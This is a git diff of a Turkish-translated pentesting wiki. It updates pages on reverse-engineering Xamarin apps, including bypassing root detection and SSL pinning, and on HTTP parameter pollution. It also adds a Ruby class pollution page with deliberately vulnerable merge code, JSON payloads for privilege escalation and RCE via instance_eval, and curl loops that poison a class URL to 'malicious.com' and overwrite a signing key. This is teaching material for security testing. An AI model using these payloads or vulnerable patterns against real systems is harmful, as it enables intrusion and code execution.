diff --git a/.gitbook/assets/image (1255).png b/.gitbook/assets/image (1255).png new file mode 100644 index 000000000..31e0bb56c Binary files /dev/null and b/.gitbook/assets/image (1255).png differ diff --git a/.gitbook/assets/image (1256).png b/.gitbook/assets/image (1256).png new file mode 100644 index 000000000..a60328f79 Binary files /dev/null and b/.gitbook/assets/image (1256).png differ diff --git a/.gitbook/assets/image (1257).png b/.gitbook/assets/image (1257).png new file mode 100644 index 000000000..a60328f79 Binary files /dev/null and b/.gitbook/assets/image (1257).png differ diff --git a/.gitbook/assets/image (1258).png b/.gitbook/assets/image (1258).png new file mode 100644 index 000000000..c1c29d55a Binary files /dev/null and b/.gitbook/assets/image (1258).png differ diff --git a/.gitbook/assets/image (1259).png b/.gitbook/assets/image (1259).png new file mode 100644 index 000000000..53646c5fd Binary files /dev/null and b/.gitbook/assets/image (1259).png differ diff --git a/.gitbook/assets/image (1260).png b/.gitbook/assets/image (1260).png new file mode 100644 index 000000000..486e9a99e Binary files /dev/null and b/.gitbook/assets/image (1260).png differ diff --git a/.gitbook/assets/image (1261).png b/.gitbook/assets/image (1261).png new file mode 100644 index 000000000..0509b13ca Binary files /dev/null and b/.gitbook/assets/image (1261).png differ diff --git a/.gitbook/assets/image (1262).png b/.gitbook/assets/image (1262).png new file mode 100644 index 000000000..341272ec7 Binary files /dev/null and b/.gitbook/assets/image (1262).png differ diff --git a/.gitbook/assets/image (1263).png b/.gitbook/assets/image (1263).png new file mode 100644 index 000000000..c46b4be0f Binary files /dev/null and b/.gitbook/assets/image (1263).png differ diff --git a/SUMMARY.md b/SUMMARY.md index ed2b2504d..60279767a 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -570,6 +570,7 @@ * [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-\_\_viewstate-parameter.md) * [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md) * [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md) + * [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md) * [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md) * [Email Injections](pentesting-web/email-injections.md) * [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md) diff --git a/mobile-pentesting/xamarin-apps.md b/mobile-pentesting/xamarin-apps.md index 5e481aa1a..d1340e3c1 100644 --- a/mobile-pentesting/xamarin-apps.md +++ b/mobile-pentesting/xamarin-apps.md @@ -1,45 +1,43 @@ # Xamarin Apps {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks'i Destekleyin -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
{% endhint %} -This is a summary of the blog post [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers) - ## **Temel Bilgiler** -Xamarin, geliştiricilerin **iOS, Android ve Windows için uygulamalar oluşturmasını** sağlamak amacıyla tasarlanmış **açık kaynak bir platformdur** ve .NET ile C# frameworklerini kullanır. Bu platform, modern uygulamaları verimli bir şekilde oluşturmak için birçok araç ve uzantıya erişim sunar. +Xamarin, geliştiricilerin **iOS, Android ve Windows için uygulamalar oluşturmasını** sağlamak amacıyla tasarlanmış **açık kaynak bir platformdur**. Bu platform, modern uygulamaları verimli bir şekilde oluşturmak için birçok araç ve uzantıya erişim sunar. ### Xamarin'ın Mimarisi -- **Android** için, Xamarin, .NET bağlamaları aracılığıyla Android ve Java ad alanlarıyla entegre olur ve Mono yürütme ortamında Android Runtime (ART) ile birlikte çalışır. Managed Callable Wrappers (MCW) ve Android Callable Wrappers (ACW), Mono ve ART arasında iletişimi kolaylaştırır; her ikisi de Linux çekirdeği üzerine inşa edilmiştir. -- **iOS** için, uygulamalar Mono çalışma zamanı altında çalışır ve C# .NET kodunu ARM montaj diline dönüştürmek için tam Ahead of Time (AOT) derlemesi kullanır. Bu süreç, UNIX benzeri bir çekirdek üzerinde Objective-C Runtime ile birlikte çalışır. +* **Android** için, Xamarin, .NET bağlamaları aracılığıyla Android ve Java ad alanlarıyla entegre olur ve Mono yürütme ortamında Android Runtime (ART) ile birlikte çalışır. Managed Callable Wrappers (MCW) ve Android Callable Wrappers (ACW), Mono ve ART arasında iletişimi kolaylaştırır; her ikisi de Linux çekirdeği üzerine inşa edilmiştir. +* **iOS** için, uygulamalar Mono çalışma zamanı altında çalışır ve C# .NET kodunu ARM montaj diline dönüştürmek için tam Ahead of Time (AOT) derlemesi kullanır. Bu süreç, UNIX benzeri bir çekirdek üzerinde Objective-C Runtime ile birlikte çalışır. ### .NET Runtime ve Mono Framework -**.NET framework**, uygulama geliştirme için derlemeler, sınıflar ve ad alanları içerir ve .NET Runtime, kod yürütmesini yönetir. Platform bağımsızlığı ve geriye dönük uyumluluk sunar. **Mono Framework**, 2005 yılında .NET'i Linux'a genişletmek amacıyla başlatılan açık kaynak bir .NET framework versiyonudur ve şu anda Microsoft tarafından desteklenmekte ve Xamarin tarafından yönetilmektedir. +**.NET framework**, uygulama geliştirme için derlemeler, sınıflar ve ad alanları içerir; .NET Runtime, kod yürütmesini yönetir. Platform bağımsızlığı ve geriye dönük uyumluluk sunar. **Mono Framework**, 2005 yılında .NET'i Linux'a genişletmek amacıyla başlatılan açık kaynak bir .NET sürümüdür; şu anda Microsoft tarafından desteklenmekte ve Xamarin tarafından yönetilmektedir. ### Xamarin Uygulamalarının Tersine Mühendisliği #### Xamarin Derlemelerinin Değiştirilmesi -Değiştirme, derlenmiş kodu tekrar kaynak koda dönüştürür. Windows'ta, Visual Studio'daki Modüller penceresi, değiştirme için modülleri tanımlayabilir ve üçüncü taraf koda doğrudan erişim sağlayarak analiz için kaynak kodunu çıkarmaya olanak tanır. +Değiştirme, derlenmiş kodu tekrar kaynak koda dönüştürür. Windows'ta, Visual Studio'daki Modüller penceresi, değiştirme için modülleri tanımlayabilir ve üçüncü taraf koda doğrudan erişim sağlayarak analiz için kaynak kodunu çıkarabilir. #### JIT vs AOT Derlemesi -- **Android**, Just-In-Time (JIT) ve Ahead-Of-Time (AOT) derlemesini destekler ve optimal yürütme hızı için Hibrit AOT moduna sahiptir. Tam AOT, yalnızca Kurumsal lisanslara özeldir. -- **iOS**, Apple'ın dinamik kod yürütme üzerindeki kısıtlamaları nedeniyle yalnızca AOT derlemesi kullanır. +* **Android**, Just-In-Time (JIT) ve Ahead-Of-Time (AOT) derlemesini destekler; optimal yürütme hızı için Hibrit AOT modu vardır. Tam AOT, yalnızca Kurumsal lisanslara özeldir. +* **iOS**, Apple'ın dinamik kod yürütme kısıtlamaları nedeniyle yalnızca AOT derlemesi kullanır. ### APK/IPA'dan dll Dosyalarını Çıkarma @@ -47,15 +45,21 @@ APK/IPA'daki derlemelere erişmek için dosyayı açın ve derlemeler dizinini k ```bash python3 xamarin-decompress.py -o /path/to/decompressed/apk ``` -Android'daki assembly blob'ları için, [pyxamstore](https://github.com/jakev/pyxamstore) bunları açabilir. +APK dekompile edildikten sonra unknown/assemblies/ klasöründe içindeki `.dll` dosyalarını görmek mümkünse, bu durumda `.dll` dosyaları üzerinde analiz yapmak için [**dnSpy**](https://github.com/dnSpy/dnSpy) doğrudan kullanılabilir.\ +Ancak bazen unknown/assemblies/ klasöründe `assemblies.blob` ve `assemblies.manifest` dosyaları bulunur. Xamarin uygulamalarında `assemblies.blob` dosyasını açmak için [pyxamstore](https://github.com/jakev/pyxamstore) aracı kullanılabilir, bu da daha fazla analiz için .NET assembly'lerine erişim sağlar: ```bash pyxamstore unpack -d /path/to/decompressed/apk/assemblies/ ``` -iOS dll dosyaları, uygulama kodunun önemli kısımlarını ortaya çıkararak dekompilasyon için kolayca erişilebilir durumdadır; bu kod genellikle farklı platformlar arasında ortak bir temel paylaşır. +iOS dll dosyaları, uygulama kodunun önemli kısımlarını ortaya çıkararak dekompile edilmek üzere kolayca erişilebilir durumdadır; bu kod genellikle farklı platformlar arasında ortak bir temel paylaşır. + +### Statik Analiz + +`.dll` dosyaları elde edildikten sonra, uygulamanın kodunu değiştirmeye olanak tanıyan [**dnSpy**](https://github.com/dnSpy/dnSpy) **veya** [**ILSpy**](https://github.com/icsharpcode/ILSpy) gibi araçlar kullanarak .Net kodunu statik olarak analiz etmek mümkündür. Bu, uygulamayı korumaları aşmak için değiştirmek gibi durumlarda oldukça faydalı olabilir.\ +Uygulamayı değiştirdikten sonra, tekrar paketlemeniz ve yeniden imzalamanız gerektiğini unutmayın. ### Dinamik Analiz -Dinamik analiz, SSL pinning kontrolü yapmayı ve Xamarin uygulamalarındaki .NET ikili dosyalarının çalışma zamanı değişiklikleri için [Fridax](https://github.com/NorthwaveSecurity/fridax) gibi araçlar kullanmayı içerir. Root tespiti veya SSL pinning'i atlatmak için Frida betikleri mevcuttur ve bu, analiz yeteneklerini artırır. +Dinamik analiz, SSL pinning kontrolü yapmayı ve Xamarin uygulamalarındaki .NET ikili dosyalarının çalışma zamanı değişiklikleri için [Fridax](https://github.com/NorthwaveSecurity/fridax) gibi araçlar kullanmayı içerir. Root tespiti veya SSL pinning'i aşmak için Frida betikleri mevcuttur ve analiz yeteneklerini artırır. Diğer ilginç Frida betikleri: @@ -63,14 +67,19 @@ Diğer ilginç Frida betikleri: * [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/) * [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin) +### Yeniden İmzalama + +[Uber APK Signer](https://github.com/patrickfav/uber-apk-signer) aracı, aynı anahtar ile birden fazla APK'yı imzalamayı kolaylaştırır ve uygulamada değişiklikler yapıldıktan sonra yeniden imzalamak için kullanılabilir. + +## Daha Fazla Bilgi -## Daha fazla bilgi * [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers) * [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/) +* [https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf](https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf) {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/pentesting-web/deserialization/ruby-class-pollution.md b/pentesting-web/deserialization/ruby-class-pollution.md new file mode 100644 index 000000000..c8df35347 --- /dev/null +++ b/pentesting-web/deserialization/ruby-class-pollution.md @@ -0,0 +1,441 @@ +# Ruby Class Pollution + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} + +Bu, [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html) adresinden alınan bir özet. + +## Özelliklerde Birleştirme + +Örnek: +```ruby +# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html +# Comments added to exploit the merge on attributes +require 'json' + + +# Base class for both Admin and Regular users +class Person + +attr_accessor :name, :age, :details + +def initialize(name:, age:, details:) +@name = name +@age = age +@details = details +end + +# Method to merge additional data into the object +def merge_with(additional) +recursive_merge(self, additional) +end + +# Authorize based on the `to_s` method result +def authorize +if to_s == "Admin" +puts "Access granted: #{@name} is an admin." +else +puts "Access denied: #{@name} is not an admin." +end +end + +# Health check that executes all protected methods using `instance_eval` +def health_check +protected_methods().each do |method| +instance_eval(method.to_s) +end +end + +private + +# VULNERABLE FUNCTION that can be abused to merge attributes +def recursive_merge(original, additional, current_obj = original) +additional.each do |key, value| + +if value.is_a?(Hash) +if current_obj.respond_to?(key) +next_obj = current_obj.public_send(key) +recursive_merge(original, value, next_obj) +else +new_object = Object.new +current_obj.instance_variable_set("@#{key}", new_object) +current_obj.singleton_class.attr_accessor key +end +else +current_obj.instance_variable_set("@#{key}", value) +current_obj.singleton_class.attr_accessor key +end +end +original +end + +protected + +def check_cpu +puts "CPU check passed." +end + +def check_memory +puts "Memory check passed." +end +end + +# Admin class inherits from Person +class Admin < Person +def initialize(name:, age:, details:) +super(name: name, age: age, details: details) +end + +def to_s +"Admin" +end +end + +# Regular user class inherits from Person +class User < Person +def initialize(name:, age:, details:) +super(name: name, age: age, details: details) +end + +def to_s +"User" +end +end + +class JSONMergerApp +def self.run(json_input) +additional_object = JSON.parse(json_input) + +# Instantiate a regular user +user = User.new( +name: "John Doe", +age: 30, +details: { +"occupation" => "Engineer", +"location" => { +"city" => "Madrid", +"country" => "Spain" +} +} +) + + +# Perform a recursive merge, which could override methods +user.merge_with(additional_object) + +# Authorize the user (privilege escalation vulnerability) +# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}' +user.authorize + +# Execute health check (RCE vulnerability) +# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}' +user.health_check + +end +end + +if ARGV.length != 1 +puts "Usage: ruby class_pollution.rb 'JSON_STRING'" +exit +end + +json_input = ARGV[0] +JSONMergerApp.run(json_input) +``` +### Açıklama + +1. **Yetki Yükseltme**: `authorize` metodu `to_s`'nin "Admin" döndürüp döndürmediğini kontrol eder. JSON aracılığıyla yeni bir `to_s` niteliği enjekte ederek, bir saldırgan `to_s` metodunun "Admin" döndürmesini sağlayabilir ve yetkisiz ayrıcalıklar elde edebilir. +2. **Uzaktan Kod Çalıştırma**: `health_check` içinde, `instance_eval` `protected_methods` listesinde yer alan metodları çalıştırır. Eğer bir saldırgan özel metod isimleri (örneğin `"puts 1"`) enjekte ederse, `instance_eval` bunu çalıştırır ve **uzaktan kod çalıştırma (RCE)** ile sonuçlanır. +1. Bu yalnızca, o niteliğin string değerini çalıştıran **kırılgan bir `eval` talimatı** olduğu için mümkündür. +3. **Etkilerin Sınırlanması**: Bu zafiyet yalnızca bireysel örnekleri etkiler, diğer `User` ve `Admin` örneklerini etkilenmeden bırakır, böylece istismar kapsamını sınırlar. + +### Gerçek Dünya Vakaları + +### ActiveSupport’un `deep_merge` + +Bu varsayılan olarak kırılgan değildir ancak şu şekilde kırılgan hale getirilebilir: +```ruby +# Method to merge additional data into the object using ActiveSupport deep_merge +def merge_with(other_object) +merged_hash = to_h.deep_merge(other_object) + +merged_hash.each do |key, value| +self.class.attr_accessor key +instance_variable_set("@#{key}", value) +end + +self +end +``` +### Hashie’nin `deep_merge` + +Hashie’nin `deep_merge` metodu, düz hashler yerine doğrudan nesne nitelikleri üzerinde çalışır. Bu, bazı **istisnalar** ile birlikte bir birleştirmede niteliklerin yöntemlerin yerini almasını **önler**: `_`, `!` veya `?` ile biten nitelikler hala nesneye birleştirilebilir. + +Özel bir durum, kendi başına **`_`** niteliğidir. Sadece `_`, genellikle bir `Mash` nesnesi döndüren bir niteliktir. Ve bu, **istisnalar**ın bir parçası olduğu için, onu değiştirmek mümkündür. + +Aşağıdaki örneğe bakın, `{"_": "Admin"}` geçirerek `_.to_s == "Admin"` ifadesini nasıl atlatabileceğinizi gösterir: +```ruby +require 'json' +require 'hashie' + +# Base class for both Admin and Regular users +class Person < Hashie::Mash + +# Method to merge additional data into the object using hashie +def merge_with(other_object) +deep_merge!(other_object) +self +end + +# Authorize based on to_s +def authorize +if _.to_s == "Admin" +puts "Access granted: #{@name} is an admin." +else +puts "Access denied: #{@name} is not an admin." +end +end + +end + +# Admin class inherits from Person +class Admin < Person +def to_s +"Admin" +end +end + +# Regular user class inherits from Person +class User < Person +def to_s +"User" +end +end + +class JSONMergerApp +def self.run(json_input) +additional_object = JSON.parse(json_input) + +# Instantiate a regular user +user = User.new({ +name: "John Doe", +age: 30, +details: { +"occupation" => "Engineer", +"location" => { +"city" => "Madrid", +"country" => "Spain" +} +} +}) + +# Perform a deep merge, which could override methods +user.merge_with(additional_object) + +# Authorize the user (privilege escalation vulnerability) +# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin. +# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}' +user.authorize +end +end + +if ARGV.length != 1 +puts "Usage: ruby hashie.rb 'JSON_STRING'" +exit +end + +json_input = ARGV[0] +JSONMergerApp.run(json_input) +``` +## Sınıfları Zehirle + +Aşağıdaki örnekte **`Person`** sınıfını ve **`Person`** sınıfından türeyen **`Admin`** ve **`Regular`** sınıflarını bulmak mümkündür. Ayrıca **`KeySigner`** adında başka bir sınıfı da vardır: +```ruby +require 'json' +require 'sinatra/base' +require 'net/http' + +# Base class for both Admin and Regular users +class Person +@@url = "http://default-url.com" + +attr_accessor :name, :age, :details + +def initialize(name:, age:, details:) +@name = name +@age = age +@details = details +end + +def self.url +@@url +end + +# Method to merge additional data into the object +def merge_with(additional) +recursive_merge(self, additional) +end + +private + +# Recursive merge to modify instance variables +def recursive_merge(original, additional, current_obj = original) +additional.each do |key, value| +if value.is_a?(Hash) +if current_obj.respond_to?(key) +next_obj = current_obj.public_send(key) +recursive_merge(original, value, next_obj) +else +new_object = Object.new +current_obj.instance_variable_set("@#{key}", new_object) +current_obj.singleton_class.attr_accessor key +end +else +current_obj.instance_variable_set("@#{key}", value) +current_obj.singleton_class.attr_accessor key +end +end +original +end +end + +class User < Person +def initialize(name:, age:, details:) +super(name: name, age: age, details: details) +end +end + +# A class created to simulate signing with a key, to be infected with the third gadget +class KeySigner +@@signing_key = "default-signing-key" + +def self.signing_key +@@signing_key +end + +def sign(signing_key, data) +"#{data}-signed-with-#{signing_key}" +end +end + +class JSONMergerApp < Sinatra::Base +# POST /merge - Infects class variables using JSON input +post '/merge' do +content_type :json +json_input = JSON.parse(request.body.read) + +user = User.new( +name: "John Doe", +age: 30, +details: { +"occupation" => "Engineer", +"location" => { +"city" => "Madrid", +"country" => "Spain" +} +} +) + +user.merge_with(json_input) + +{ status: 'merged' }.to_json +end + +# GET /launch-curl-command - Activates the first gadget +get '/launch-curl-command' do +content_type :json + +# This gadget makes an HTTP request to the URL stored in the User class +if Person.respond_to?(:url) +url = Person.url +response = Net::HTTP.get_response(URI(url)) +{ status: 'HTTP request made', url: url, response_body: response.body }.to_json +else +{ status: 'Failed to access URL variable' }.to_json +end +end + +# Curl command to infect User class URL: +# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge + +# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner +get '/sign_with_subclass_key' do +content_type :json + +# This gadget signs data using the signing key stored in KeySigner class +signer = KeySigner.new +signed_data = signer.sign(KeySigner.signing_key, "data-to-sign") + +{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json +end + +# Curl command to infect KeySigner signing key (run in a loop until successful): +# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done + +# GET /check-infected-vars - Check if all variables have been infected +get '/check-infected-vars' do +content_type :json + +{ +user_url: Person.url, +signing_key: KeySigner.signing_key +}.to_json +end + +run! if app_file == $0 +end +``` +### Zehirli Üst Sınıf + +Bu yük ile: + +{% code overflow="wrap" %} +```bash +curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge +``` +{% endcode %} + +**`Person`** sınıfının **`@@url`** niteliğinin değerini değiştirmek mümkündür. + +### **Diğer Sınıfları Zehirleme** + +Bu yükle: + +{% code overflow="wrap" %} +```bash +for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done +``` +{% endcode %} + +Tanımlı sınıfları brute-force ile zorlamak ve bir noktada **`KeySigner`** sınıfını zehirlemek, `signing_key` değerini `injected-signing-key` ile değiştirmek mümkündür.\ + +## Referanslar + +* [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html) + +{% hint style="success" %} +AWS Hacking öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks'i Destekleyin + +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. + +
+{% endhint %} diff --git a/pentesting-web/parameter-pollution.md b/pentesting-web/parameter-pollution.md index 419f809e2..9ea5c01d2 100644 --- a/pentesting-web/parameter-pollution.md +++ b/pentesting-web/parameter-pollution.md @@ -1,8 +1,10 @@ -# Parametre Kirliliği +# Parameter Pollution + +## Parameter Pollution {% hint style="success" %} -AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS Hacking öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -19,66 +21,132 @@ GCP Hacking'i öğrenin ve pratik yapın: + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg

+ +1. Parametre adında %00'dan sonrasını yok sayın. +2. name\[]'i dizi olarak ele alın. +3. \_GET GET Yöntemini ifade etmez. +4. Son parametreyi tercih edin. + +### Ruby 3.3.5 ve WEBrick 1.8.2 + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg

+ +1. Parametreleri ayırmak için & ve ; ayırıcılarını kullanır. +2. name\[] tanınmaz. +3. İlk parametreyi tercih edin. + +### Spring MVC 6.0.23 VE Apache Tomcat 10.1.30 + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg

+ +1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping. +2. POST RequestMapping & PostMapping name\[]'i tanır. +3. name ve name\[] mevcutsa name'i tercih edin. +4. Parametreleri birleştirin, örneğin first,last. +5. POST RequestMapping & PostMapping, Content-Type ile sorgu parametresini tanır. + +### **NodeJS** 20.17.0 **VE** Express 4.21.0 + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg

+ +1. name\[]'i tanır. +2. Parametreleri birleştirir, örneğin first,last. + +### GO 1.22.7 + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg

+ +1. name\[]'i tanımaz. +2. İlk parametreyi tercih edin. + +### Python 3.12.6 VE Werkzeug 3.0.4 VE Flask 3.0.3 + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg

+ +1. name\[]'i tanımaz. +2. İlk parametreyi tercih edin. + +### Python 3.12.6 VE Django 4.2.15 + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg

+ +1. name\[]'i tanımaz. +2. Son parametreyi tercih edin. + +### Python 3.12.6 VE Tornado 6.4.1 + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg

+ +1. name\[]'i tanımaz. +2. Son parametreyi tercih edin. ## Referanslar + * [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654) * [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution) +* [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
{% embed url="https://websec.nl/" %} - {% hint style="success" %} -AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS Hacking öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)